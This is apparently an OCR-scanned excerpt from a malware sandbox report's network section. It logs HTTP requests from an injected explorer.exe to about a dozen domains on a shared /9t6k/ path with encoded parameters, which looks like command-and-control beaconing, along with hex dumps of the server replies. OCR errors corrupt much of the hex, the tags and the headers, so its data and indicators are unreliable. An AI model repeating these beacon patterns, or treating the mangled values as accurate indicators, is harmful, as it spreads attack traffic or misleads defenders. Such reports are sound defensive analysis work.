67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 726769 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}th1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=wzqvVR{3v7wWdKVsEzaCYIuZDwjvGR+wpj+mt/lyOIMnJEVZY6i5f9AVoqOYOhCkuGFts&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.theyolokart.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:05:01.294464111 CET

Session ID

12

Timestamp

Dec 3, 2020
10:05:06.314711094 CET

Session ID

13

Timestamp

Dec 3, 2020
10:05:11.862174034 CET

Copyright null 2020

kBytes
transferred

6001

Source IP

192.168.2.5

kBytes
transferred

6007

Source IP

192.168.2.5

kBytes
transferred

6007

Direction

IN

Source Port

49755

Direction

ouT

Source Port

49756

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:05:01 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 172

X-Sorting-Hat-Shopld: 46683390117

X-Dc: gcp-us-centrall

X-Request-ID: f51eed28-dc2a-4bc7-bd5a-325aa9ea2032

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c97216e20000c272d60da000000001

Server: cloudflare

CF-RAY: 5fbc1f9e3c71c272-FRA

Data Raw: 35 63 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22
3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20
20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72
22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6 69 65 64 3¢ 2f 74 69 74 6¢ 65 3e Oa 20 20
2020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2
d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74
6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69 63
61 2c 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f
6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a
31303025 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67 68
74 3a322e 377265 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31
70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61
64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢ 6f
72 2030 2e 32 7320 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6¢
6f 72 32 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67
68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a
31 2e 357265 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72
65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6€ 2d 68 65 69 67 68 74 3a 31 30 30
76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72
2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6 2d 69 74 65

Data Ascii: 5c9<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" cont
ent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddin
g:0thtmli{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-deco
ration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displa
y:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;display:flex;align-ite

Destination IP Destination Port Process

66.235.200.146 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=WRaEwe7grAm8RcFyQBNRvy9INVNi7wOvDLX3hizJdol6i043A301dw5NSblbyY8qTgmle&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.higherthan75.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=73SmHps+05HxyxR+SIs8P85g8AMV[2xb8ZN5KGQQxUczRWjFANVVI8FIZWAGNK7+ujwZ&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.renabbeauty.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:05:12.012866974 CET

Session ID

14

Timestamp

Dec 3, 2020
10:05:17.197038889 CET

Dec 3, 2020
10:05:17.374706030 CET

Copyright null 2020

kBytes
transferred

6009

Source IP

192.168.2.5
kBytes

transferred

6014

6015

Direction

IN

Source Port

49757

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:05:12 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 155

X-Sorting-Hat-Shopld: 46582104220

X-Dc: gcp-us-centrall

X-Request-1D: 80b662e8-5463-447c-b1e8-5de5bed15be2

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c97240bc0000bece8ca6f000000001

Server: cloudflare

CF-RAY: 5fbclfel291cbece-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6€ 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 61 6¢ 69 67 6e 2d 69 74

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmK{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex: 1;display:flex;align-it

Destination IP Destination Port Process

157.245.239.6 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRVF5LwbTMOesGYedm1bG3cIWla&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.ahomedokita.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:05:17 GMT

Server: Apache/2.4.29 (Ubuntu)

Location: https://ahomedokita.com/9t6k/? URflh=5YbgiWOMvK10e+D+Ti4oKvmTwuSwaKBdeKNLrkVAsRRvVF5LwbTMOes
GYedm1bG3cIWIla&UfrDal=0nMpgJVP5t_PDD5p

Content-Length: 425

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 68 6f 6d 65 64 6f 6b 69 74 61 2e
63 6f 6d 2f 39 74 36 6b 2f 3f 55 52 66 6¢ 68 3d 35 59 62 67 69 57 4f 4d 76 4b 31 30 65 2b 44 2b 54 69 34 6f 4b 76 6d 54
77 755377 61 4b 42 64 65 4b 4e 4¢c 72 6b 56 41 73 52 52 76 46 35 4c 77 62 54 4d 4f 65 73 47 59 65 64 6d 31 62 47 33
63 4a57 49 61 26 61 6d 70 3b 55 66 72 44 61 6¢ 3d 30 6e 4d 70 71 4a 56 50 35 74 5f 50 44 44 35 70 22 3e 68 65 72 65
3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55
62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 68 6f 6d 65 64 6f 6b 69 74 61 2e 63 6f 6d 20 50 6f 72
74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ahomedokita.com/9t
6k/?URflh=5YbgiWOMvK10e+D+TidoKvmTwuSwaKBdeKNLrkVAsRRvF5LwbTMOesGYedm1bG3cJWla&amp;UfrDal=
0nMpqJVP5t_PDD5p">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.ahomedokita.com Port
80</address></body></html>
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Session ID

15

Timestamp

Dec 3, 2020
10:05:22.404478073 CET

Dec 3, 2020
10:05:22.647427082 CET

Session ID

16

Timestamp

Dec 3, 2020
10:05:32.899420023 CET

Session ID

17

Timestamp

Dec 3, 2020
10:05:38.094963074 CET

Dec 3, 2020
10:05:38.209852934 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

6015

6016

Source IP

192.168.2.5

kBytes
transferred

6781

Source IP

192.168.2.5
kBytes

transferred

6873

6874

Source Port

49758

Direction

ouT

Source Port

49767

Direction

ouT

Source Port

49770

Direction

ouT

Destination IP Destination Port Process

104.24.104.178 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWpe7zCBUOdcNM6Zeho8&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.dainikamarsomoy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:05:22 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=dec761f12f34917alebf75cfdfba32a4f1606986322; expires=Sat, 02-Jan-21 09:05:22 GMT; path=/;
domain=.dainikamarsomoy.com; HttpOnly; SameSite=Lax

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

X-Redirect-By: WordPress

Location: http://dainikamarsomoy.com/9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWp
e7zCBUOdcNM6Zeho8&UfrDal=0nMpgJVP5t_PDD5p

X-LiteSpeed-Cache: hit

CF-Cache-Status: DYNAMIC

cf-request-id: 06c97269f000004113d6942000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=A97DCaa%2FY00%2BbgUT2vkHrwDSKOPO3c5e
EmCPyGySaiNuVNgXCkwq915JSUk4wJEBgc4wRCOIXx1Sn5H%2BfTaTQEsAMtbyd8SZjn%2BQ5uq5QGVHO
WGOrdkWsWw%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc20231d254113-PRG

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=AqHI10+MX2ftrVe3DEiYBNVYhM67Z+qKer8sV+OvuybcJEOEIXTUx/0N346XCugNKhu9g&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www. kingdomwinecommunity.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=rm4JCycf8jgnKzL2gaZxJFxF+HyMTTLQtqzA4xmgqdXyWq3yulARpOHOZAKArmQWxcAt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.pocketspacer.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:05:38 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566f8-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Session ID

18

Timestamp

Dec 3, 2020
10:05:48.261524916 CET

Dec 3, 2020
10:05:48.522443056 CET

Session ID

19

Timestamp

Dec 3, 2020
10:05:53.826083899 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

6875

6876

Source IP

192.168.2.5

kBytes
transferred

6877

Source Port

49771

Direction

ouT

Source Port

49772

Direction

ouT

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=E4R/8wd6fgEKWdVXGUezTNI/uDINCiSgghAFvmJDIfgfpwFCHVrHgZ/VPMmIVzFxpgLt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:05:48 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=d6a02a0b6c5a2e14a0670479b6178c06b1606986348; expires=Sat, 02-Jan-21 09:05:48 GMT;
path=/; domain=.sportshookmatcher.com; HttpOnly; SameSite=Lax

Vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

cf-request-id: 06c972cef40000411fd380b000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=GEzFRnqU8BTpruUgklaPxpBB3PLnCqORdZr9
fGLIXk10%2BVv%2F2jCOISUEBHX2I5EEqQbwm5DX0zIBqV2utkifL%2F6w74e UEi6dkxSA600AhG2IEIVGGNKYsXI2W
"},"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc20c4be3c411f-PRG

Data Raw: 63 62 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44
54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30
34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f 20
77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79
3e 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa

Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head
><body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p></body></html>

Destination IP Destination Port Process

52.60.87.163 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=DaV CjFuxi8lQ0KSmZmVVzdfbFs8HKal1S3sC5D9GQ7HSGSXmO4QACkgMj7QCmBzxIGckN&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.makingdoathome.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:05:53.972229958 CET

Session ID

2

Timestamp

Dec 3, 2020
10:03:48.095722914 CET

Dec 3, 2020
10:03:48.278069019 CET

Copyright null 2020

kBytes
transferred

6879

Source IP

192.168.2.5
kBytes

transferred

2619

2622

Direction

IN

Source Port

49738

Direction

ouT

Data

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 03 Dec 2020 09:05:53 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 3984

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

Cache-Control: max-age=604800

Expires: Thu, 10 Dec 2020 09:05:53 +0000

Content-Security-Policy: default-src 'self' 'unsafe-inline' https://park.101datacenter.net https://*.deviceatlascloud.com/
https://cs-cdn.deviceatlas.com data:

Access-Control-Allow-Origin: https://park.101datacenter.net

X-Frame-Options: SAMEORIGIN

X-Cached: MISS

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 64 69 72 3d 22 22 20 6¢ 61 6e 67 3d 22 22
3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 46 75 74 75 72 65 20 68 6f 6d 65 20 6f 66 20 6d 61 6b 69 6e 67 64 6f 61
74 68 6f 6d 65 2e 63 6f 6d 3¢ 2f 74 69 74 6¢ 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f
6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 2d 20 72
6567 69 73 74 65 72 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 6¢ 69 6e 65 2c 61 6e 64 20 67 65 74 20
74 68 65 20 6e 61 6d 65 20 79 6f 75 20 77 61 6e 74 20 77 68 69 6¢ 65 20 69 74 27 73 20 73 74 69 6¢ 6¢ 20 61 76 61 69
6¢c 61 62 6¢ 65 2e 20 49 6e 74 65 72 6e 65 74 20 44 6f 6d 61 69 6e 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 26 20 49 6e
74 6572 6e 61 74 69 6f 6e 61 6¢ 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 2e 22 3e Oa
3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2¢ 20 69 6e 69 74 69
61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 2¢ 20 75 73 65 72 2d 73 6
361 6¢ 61 62 6¢ 65 3d 6e 6f 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70
61 74 69 62 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e Oa 3c 6d 65 74
61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 66 6f 6¢ 6¢ 6f 77 22 3e O
a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 6
6 6f 6¢ 6¢ 6f 77 22 3e Oa 3c 6d 65 74 61 20 4e 41 4d 45 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 43 4f 4e 54 4
